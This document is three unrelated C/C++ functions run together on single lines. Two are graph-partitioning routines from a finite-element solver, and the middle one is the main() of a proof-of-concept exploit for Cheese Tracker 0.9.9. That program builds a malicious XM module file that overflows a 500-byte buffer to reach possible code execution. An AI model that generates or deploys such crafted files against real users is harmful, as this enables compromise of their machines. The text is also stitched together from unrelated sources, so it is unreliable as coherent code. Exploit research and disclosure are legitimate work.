void CLOP_graph::determine_subdomains(int comp1[], int comp2[], int ncomp, int node_con1[], int node_con2[], int dof_for_node2[], int nnode, int* & nsub1, int* & nsub2) { int i, j, k, ii, node, nnode_comp, max_nnode_comp(0), nnz, max_nnz(0); int node2, *vwgt, *adjwgt, wgtflag(0), numflag(0), nparts, options[5]; int edgecut, max_nparts(0); vwgt = adjwgt = 0; options[0] = 0; int *ndof_comp = new int[ncomp]; memset(imap, -1, nnode*sizeof(int)); nsub = 0; for (i=0; i<ncomp; i++) { nnode_comp = comp2[i+1] - comp2[i]; if (nnode_comp > max_nnode_comp) max_nnode_comp = nnode_comp; ndof_comp[i] = 0; for (j=comp2[i]; j<comp2[i+1]; j++) { node = comp1[j]; ndof_comp[i] += dof_for_node2[node+1] - dof_for_node2[node]; imap[node] = j-comp2[i]; } nparts = ndof_comp[i]/ndof_target; if (nparts > max_nparts) max_nparts = nparts; if (nparts > 1) { nsub += nparts; nnz = 0; for (j=comp2[i]; j<comp2[i+1]; j++) { node = comp1[j]; for (k=node_con2[node]; k<node_con2[node+1]; k++) { node2 = node_con1[k]; if (imap[node2] != -1) nnz++; } } if (nnz > max_nnz) max_nnz = nnz; } else nsub += 1; for (j=comp2[i]; j<comp2[i+1]; j++) imap[comp1[j]] = -1; } nsub1 = new int[nnode]; nsub2 = new int[nsub+1]; nsub2[0] = 0; nsub = 0; int *adjnode2 = new int[max_nnode_comp+1]; adjnode2[0] = 0; int *adjnode1 = new int[max_nnz]; int *part = new int[max_nnode_comp]; int *count_parts = new int[max_nparts]; for (i=0; i<ncomp; i++) { nnode_comp = comp2[i+1] - comp2[i]; for (j=comp2[i]; j<comp2[i+1]; j++) { node = comp1[j]; imap[node] = j-comp2[i]; } nparts = ndof_comp[i]/ndof_target; if (nparts > 1) { nnz = 0; for (j=comp2[i]; j<comp2[i+1]; j++) { node = comp1[j]; for (k=node_con2[node]; k<node_con2[node+1]; k++) { node2 = node_con1[k]; if (imap[node2] != -1) { adjnode1[nnz] = imap[node2]; nnz++; } } adjnode2[j-comp2[i]+1] = nnz; } if (nparts < 8) metis_partgraphrecursive(&nnode_comp, adjnode2, adjnode1, vwgt, adjwgt, &wgtflag, &numflag, &nparts, options, &edgecut, part); else metis_partgraphkway(&nnode_comp, adjnode2, adjnode1, vwgt, adjwgt, &wgtflag, &numflag, &nparts, options, &edgecut, part); myzero(count_parts, nparts); for (j=0; j<nnode_comp; j++) count_parts[part[j]]++; for (j=0; j<nparts; j++) nsub2[nsub+j+1] = nsub2[nsub+j] + count_parts[j]; myzero(count_parts, nparts); for (j=0; j<nnode_comp; j++) { ii = nsub2[nsub+part[j]]; nsub1[ii+count_parts[part[j]]] = comp1[comp2[i]+j]; count_parts[part[j]]++; } nsub += nparts; } else { nsub2[nsub+1] = nsub2[nsub] + nnode_comp; for (j=comp2[i]; j<comp2[i+1]; j++) { nsub1[nsub2[nsub]+j-comp2[i]] = comp1[j]; } nsub += 1; } for (j=comp2[i]; j<comp2[i+1]; j++) imap[comp1[j]] = -1; } delete [] ndof_comp; delete [] adjnode1; delete [] adjnode2; delete [] part; delete [] count_parts; }
int main(int argc, char *argv[]) { FILE *fd; int i, j; char *fname; setbuf(stdout, NULL); fputs("\n" "Cheese Tracker <= 0.9.9 possible code execution "VER"\n" "by Luigi Auriemma\n" "e-mail: [email protected]\n" "web: aluigi.org\n" "\n", stdout); if(argc < 2) { printf("\n" "Usage: %s <output_file.XM>\n" "\n", argv[0]); exit(1); } fname = argv[1]; printf("- create file %s\n", fname); fd = fopen(fname, "wb"); if(!fd) std_err(); /* header */ printf("- build header\n"); strncpy(header.id_text, "id_text", sizeof(header.id_text)); strncpy(header.mod_name, "mod_name", sizeof(header.mod_name)); header.boh = 26; strncpy(header.tracker, "tracker", sizeof(header.tracker)); header.ver = 4 | (1 << 8); header.head_size = 276; header.song_len = 0; header.restart_pos = 0; header.channels = 0; header.patterns = 0; header.instr = 1; header.flags = 1; header.tempo = 6; header.bpm = 130; myzero(header.patt_table); fwrite(&header, sizeof(header), 1, fd); /* patterns */ for(i = 0; i < header.patterns; i++) { printf("- build pattern\n"); patterns.length = 9, patterns.type = 0; patterns.rows = 64, patterns.packed_size = 0; fwrite(&patterns, sizeof(patterns), 1, fd); put_bytes(fd, patterns.packed_size, 0xff); // packed! } /* instruments */ printf("- build instruments\n"); for(i = 0; i < header.instr; i++) { instruments.size = BOFSZNUM; strncpy(instruments.name, "instrument_name", sizeof(instruments.name)); instruments.type = 0; instruments.samples = 1; instruments.Sample_header_size = 40; fwrite(&instruments, sizeof(instruments), 1, fd); for(j = 0; j < instruments.samples; j++) { /* envelope */ printf("- build envelope\n"); myzero(envelope.Sample_number_for_all_notes); myzero(envelope.Points_for_volume_envelope); myzero(envelope.Points_for_panning_envelope); envelope.Number_of_volume_points = 0; envelope.Number_of_panning_points = 0; envelope.Volume_sustain_point = 0; envelope.Volume_loop_start_point = 0; envelope.Volume_loop_end_point = 0; envelope.Panning_sustain_point = 0; envelope.Panning_loop_start_point = 0; envelope.Panning_loop_end_point = 0; envelope.Volume_type = 0; envelope.Panning_type = 0; envelope.Vibrato_type = 0; envelope.Vibrato_sweep = 0; envelope.Vibrato_depth = 0; envelope.Vibrato_rate = 0; envelope.Volume_fadeout = 128; envelope.Reserved = 0; fwrite(&envelope, sizeof(envelope), 1, fd); printf("- %d bytes will be copied in the junkbuster[500] buffer\n", BOFSZ); put_bytes(fd, BOFSZ, 'a'); } } fclose(fd); printf("- finished\n"); return(0); }
void CLOP_graph::construct_node_graph(int* & node_con1, int* & node_con2, int* & dof_for_node1, int* & dof_for_node2, int & nnode) { int i, j, k, NumEntries, *Indices, node, nanode, dof; double *Values; assert (ND->MyLength() == ndof); int *node_vec = new int[ndof]; ND->ExtractCopy(node_vec); int *dof_map = new int[ndof]; ND->ExtractCopy(dof_map); CRD_utils::sort_and_cull(node_vec, ndof, nnode); myzero(count1, nnode); for (i=0; i<ndof; i++) { node = CRD_utils::find_index(node_vec, nnode, dof_map[i]); assert (node != -1); dof_map[i] = node; count1[node]++; } delete [] node_vec; dof_for_node2 = new int[nnode+1]; dof_for_node2[0] = 0; for (i=0; i<nnode; i++) { dof_for_node2[i+1] = dof_for_node2[i] + count1[i]; } dof_for_node1 = new int[dof_for_node2[nnode]]; myzero(count1, nnode); for (i=0; i<ndof; i++) { node = dof_map[i]; dof_for_node1[dof_for_node2[node] + count1[node]] = i; count1[node]++; } myzero(count1, nnode); node_con2 = new int[nnode+1]; node_con2[0] = 0; for (i=0; i<nnode; i++) { nanode = 0; for (j=dof_for_node2[i]; j<dof_for_node2[i+1]; j++) { dof = dof_for_node1[j]; A->ExtractMyRowView(dof, NumEntries, Values, Indices); for (k=0; k<NumEntries; k++) { node = dof_map[Indices[k]]; if (count1[node] == 0) { count1[node] = 1; imap[nanode] = node; nanode++; } } } node_con2[i+1] = node_con2[i] + nanode; for (j=0; j<nanode; j++) count1[imap[j]] = 0; } node_con1 = new int[node_con2[nnode]]; for (i=0; i<nnode; i++) { nanode = 0; for (j=dof_for_node2[i]; j<dof_for_node2[i+1]; j++) { dof = dof_for_node1[j]; A->ExtractMyRowView(dof, NumEntries, Values, Indices); for (k=0; k<NumEntries; k++) { node = dof_map[Indices[k]]; if (count1[node] == 0) { count1[node] = 1; imap[nanode] = node; nanode++; } } } for (j=0; j<nanode; j++) { count1[imap[j]] = 0; node_con1[node_con2[i] + j] = imap[j]; } } delete [] dof_map; }